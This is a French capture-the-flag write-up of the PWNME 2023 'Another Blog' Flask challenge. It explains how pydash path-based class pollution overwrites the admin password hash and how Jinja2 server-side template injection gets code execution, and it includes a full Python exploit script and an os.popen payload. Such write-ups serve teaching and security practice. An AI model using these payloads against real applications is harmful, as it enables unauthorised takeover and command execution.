Another Blog | PWNME CTF 2023
Introduction du challenge:
Objective: Read the flag, situated on the server in /app/flag.txt
Tree Viewer
Les sources de ce challenge sont fournies :
.
├── app.py
├── articles.py
├── config.yaml
├── docker-compose.yml
├── Dockerfile
├── flag.txt
├── input.css
├── package.json
├── package-lock.json
├── requirements.txt
├── static
│ └── style.css
├── tailwind.config.js
├── templates
│ ├── article.html
│ ├── articles.html
│ ├── banner.html
│ ├── head.html
│ ├── home.html
│ ├── login.html
│ └── register.html
└── users.py
On a ici 3 fichiers intéressants :
- users.py
- articles.py
- app.py
L’application est un serveur flask:
from re import template
from flask import Flask, render_template, render_template_string, request, redirect, session, sessions
from users import Users
from articles import Articles
users = Users()
articles = Articles()
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
@app.context_processor
def inject_user():
return dict(session=session)
@app.route("/create", methods=["POST"])
def create_article():
name, content = request.form.get('name'), request.form.get('content')
if type(name) != str or type(content) != str or len(name) == 0:
return redirect('/articles')
articles.set(name, content)
return redirect('/articles')
@app.route("/remove/<name>")
def remove_article(name):
articles.remove(name)
return redirect('/articles')
@app.route("/articles/<name>")
def render_page(name):
article_content = articles[name]
if article_content == None:
pass
if 'user' in session and users[session['user']['username']]['seeTemplate'] != False:
article_content = render_template_string(article_content)
return render_template('article.html', article={'name':name, 'content':article_content})
@app.route("/articles")
def get_all_articles():
return render_template('articles.html', articles=articles.get_all())
@app.route('/show_template')
def show_template():
if 'user' in session and users[session['user']['username']]['restricted'] == False:
if request.args.get('value') == '1':
users[session['user']['username']]['seeTemplate'] = True
session['user']['seeTemplate'] = True
else:
users[session['user']['username']]['seeTemplate'] = False
session['user']['seeTemplate'] = False
return redirect('/articles')
@app.route("/register", methods=["POST", "GET"])
def register():
if request.method == 'GET':
return render_template('register.html')
username, password = request.form.get('username'), request.form.get('password')
if type(username) != str or type(password) != str:
return render_template("register.html", error="Wtf are you trying bro ?!")
result = users.create(username, password)
if result == 1:
session['user'] = {'username':username, 'seeTemplate': users[username]['seeTemplate']}
return redirect("/")
elif result == 0:
return render_template("register.html", error="User already registered")
else:
return render_template("register.html", error="Error while registering user")
@app.route("/login", methods=["POST", "GET"])
def login():
if request.method == 'GET':
return render_template('login.html')
username, password = request.form.get('username'), request.form.get('password')
if type(username) != str or type(password) != str:
return render_template('login.html', error="Wtf are you trying bro ?!")
if users.login(username, password) == True:
session['user'] = {'username':username, 'seeTemplate': users[username]['seeTemplate']}
return redirect("/")
else:
return render_template("login.html", error="Error while login user")
@app.route('/logout')
def logout():
session.pop('user')
return redirect('/')
@app.route('/')
def index():
return render_template("home.html")
app.run('0.0.0.0', 5000, debug=True)
On a ensuite 2 class:
import pydash
class Articles:
def __init__(self):
self.set('welcome', 'Test of new template system: {%block test%}Block test{%endblock%}')
def set(self, article_name, article_content):
pydash.set_(self, article_name, article_content)
return True
def get(self, article_name):
if hasattr(self, article_name):
return (self.__dict__[article_name])
return None
def remove(self, article_name):
if hasattr(self, article_name):
delattr(self, article_name)
def get_all(self):
return self.__dict__
def __getitem__(self, article_name):
return self.get(article_name)
et
import hashlib
class Users:
users = {}
def __init__(self):
self.users['admin'] = {'password': None, 'restricted': False, 'seeTemplate':True }
def create(self, username, password):
if username in self.users:
return 0
self.users[username]= {'password': hashlib.sha256(password.encode()).hexdigest(), 'restricted': True, 'seeTemplate': False}
return 1
def login(self, username, password):
if username in self.users and self.users[username]['password'] == hashlib.sha256(password.encode()).hexdigest():
return True
return False
def seeTemplate(self, username, value):
if username in self.users and self.users[username].restricted == False:
self.users[username].seeTemplate = value
def __getitem__(self, username):
if username in self.users:
return self.users[username]
return None
Après une lecture du code, on comprend que :
-
un utilisateur a 2 propriétés:
- restricted (default=True)
- seeTemplate (default=False)
-
On peut créer des articles
- nom de l’article
- valeur de l’article
-
On peut voir un article:
- avec
render_template
- avec
render_template_string
- avec
Vulnérabilité(s):
- La première chose qu’il faut voir est que
render_template_string
est vulnérable à une attaque de type Server-Side-Template-Injection.
Nous contrôlons le contenu de ce qui est passé en paramètre de cette fonction (le contenu de l’article) donc si nous arrivons dans ce code : le tour est joué et nous avons notre exécution de commande.
Notre objectif est donc de passer le paramètre seeTemplate
de notre utilisateur à True
.
Pour se faire, on se rend qu’il existe un endpoint /show_template qui permet de modifier cette valeur.
@app.route('/show_template')
def show_template():
if 'user' in session and users[session['user']['username']]['restricted'] == False:
if request.args.get('value') == '1':
users[session['user']['username']]['seeTemplate'] = True
session['user']['seeTemplate'] = True
else:
users[session['user']['username']]['seeTemplate'] = False
session['user']['seeTemplate'] = False
return redirect('/articles')
Ainsi, si on accède à /show_template?value=1
, si nôtre utilisateur a la propriété restricted
à False
, la valeur de seeTemplate
sera modifié.
-
La seconde Vulnérabilité se trouve dans la class de
Articles
:import pydash def set(self, article_name, article_content): pydash.set_(self, article_name, article_content) return True
Ce code est utilisé pour ajouter un article en mémoire.
Le problème est que le serveur utilisepydash
pour associer àarticle_name
la valeurarticle_content
.On peut ré-écrire cette fonction comme :
def set(self, article_name, article_content): self[article_name] = article_content return True
Vous l’aurez peut-être compris, on peut écrire n’importe qu’elle valeur dans des clés qui sont hors de Articles.
A la même manière qu’une pyjail ou une ssti, on peut essayer de remonter aux objets de l’application flask pour modifier une propriété de l’utilisateur.On peut tester en local pydash :
>>> pydash.set_({"A":{"B":"C"}}, "A.B", "D") {'A': {'B': 'D'}}
On peut modifier la fonction set en local pour afficher le contenu de chemin python :
def set(self, article_name, article_content): x = self.__init__.__globals__['__loader__'].__init__.__globals__['sys'] print(dir(x),x) pydash.set_(self, article_name, article_content) return True
docker-compose build;docker-compose up
Résultats:
... blog_pollution-anozerblog-1 | ['__breakpointhook__', '__displayhook__', '__doc__', '__excepthook__', '__interactivehook__', '__loader__', '__name__', '__package__', '__spec__', '__stderr__', '__stdin__', '__stdout__', '__unraisablehook__', '_base_executable', '_clear_type_cache', '_current_frames', '_debugmallocstats', '_framework', '_getframe', '_git', '_home', '_xoptions', 'abiflags', 'addaudithook', 'api_version', 'argv', 'audit', 'base_exec_prefix', 'base_prefix', 'breakpointhook', 'builtin_module_names', 'byteorder', 'call_tracing', 'callstats', 'copyright', 'displayhook', 'dont_write_bytecode', 'exc_info', 'excepthook', 'exec_prefix', 'executable', 'exit', 'flags', 'float_info', 'float_repr_style', 'get_asyncgen_hooks', 'get_coroutine_origin_tracking_depth', 'get_int_max_str_digits', 'getallocatedblocks', 'getcheckinterval', 'getdefaultencoding', 'getdlopenflags', 'getfilesystemencodeerrors', 'getfilesystemencoding', 'getprofile', 'getrecursionlimit', 'getrefcount', 'getsizeof', 'getswitchinterval', 'gettrace', 'hash_info', 'hexversion', 'implementation', 'int_info', 'intern', 'is_finalizing', 'maxsize', 'maxunicode', 'meta_path', 'modules', 'path', 'path_hooks', 'path_importer_cache', 'platform', 'prefix', 'pycache_prefix', 'set_asyncgen_hooks', 'set_coroutine_origin_tracking_depth', 'set_int_max_str_digits', 'setcheckinterval', 'setdlopenflags', 'setprofile', 'setrecursionlimit', 'setswitchinterval', 'settrace', 'stderr', 'stdin', 'stdout', 'thread_info', 'unraisablehook', 'version', 'version_info', 'warnoptions'] <module 'sys' (built-in)> blog_pollution-anozerblog-1 | * Serving Flask app 'app' blog_pollution-anozerblog-1 | * Debug mode: on blog_pollution-anozerblog-1 | WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. blog_pollution-anozerblog-1 | * Running on all addresses (0.0.0.0) blog_pollution-anozerblog-1 | * Running on http://127.0.0.1:5000 blog_pollution-anozerblog-1 | * Running on http://172.18.0.2:5000 blog_pollution-anozerblog-1 | Press CTRL+C to quit blog_pollution-anozerblog-1 | * Restarting with stat blog_pollution-anozerblog-1 | * Debugger is active! blog_pollution-anozerblog-1 | * Debugger PIN: 590-441-492 ...
On accède ici au module sys. On peut aller encore plus loin est accéder au dictionnaire contenant les utilisateurs :
x = self.__init__.__globals__['__loader__'].__init__.__globals__['sys'].modules['__main__'].users
<users.Users object at 0x7f54b78e9640>
La méthode intended serai de modifier la propriété restricted de notre utilisateur pour ensuite activer seeTemplate et abusé de la SSTI.
Je vais ici présenter une méthode un petit peu plus rapide.
On remarque qu’un utilisateur admin
est déjà présent:
class Users:
users = {}
def __init__(self):
self.users['admin'] = {'password': None, 'restricted': False, 'seeTemplate':True }
Celui-ci a déjà les bonnes permissions mais nous ne connaissons pas son mot de passe. Plus loin on lit:
def login(self, username, password):
if username in self.users and self.users[username]['password'] == hashlib.sha256(password.encode()).hexdigest():
return True
return False
Le login se fait en hachant les mots de passe en sha256
.
Nous allons donc réécrire le mot de passe de l’utilisateur admin avec un sha256 dont nous connaissons le plaintext.
POC.
On peut donc écrire une POC proprement :
import requests
import random
import re
import hashlib
class exploit:
def __init__(self,url,session):
self.url = url
self.sess = session
def login(self,user,pwd):
r = self.sess.post('%s/login'%(self.url),data={"username":user,"password":pwd})
return 'Error while login user' not in r.text
def register(self):
self.user = ''.join([random.choice('abcdef') for _ in range(15)])
self.pwd = self.user
r = self.sess.post('%s/register'%(self.url),data={"username":self.user,"password":self.pwd})
return 'Logout' in r.text
def create_note(self,name,value):
r = self.sess.post('%s/create'%(self.url),data={"name":name,"content":value})
return r.text
return re.findall(r'<a href="articles/(.*?)</a>',r.text)
def view_note(self,note):
return self.sess.get('%s/articles/%s'%(self.url,note)).text
exp = exploit(
url='http://13.37.17.31:50656',
session=requests.session()
)
exp.register()
exp.login(exp.user,exp.pwd)
exp.create_note(
name = '__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.users.admin.password',
value = hashlib.sha256(b'vozec').hexdigest()
)
r = exp.login('admin','vozec')
Il ne nous reste plus qu’à créer une note avec un SSTI:
{{ cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}
On ajoute à la POC précédente:
exp.create_note(
name = 'rce',
value = "{{ cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}"
)
res = exp.view_note(
note = 'rce'
)
print(res)
On obtient le flag : PWNME{D3ep_P0l1ut1oN_C4n_b3_D3s7ruCt1vE_5c}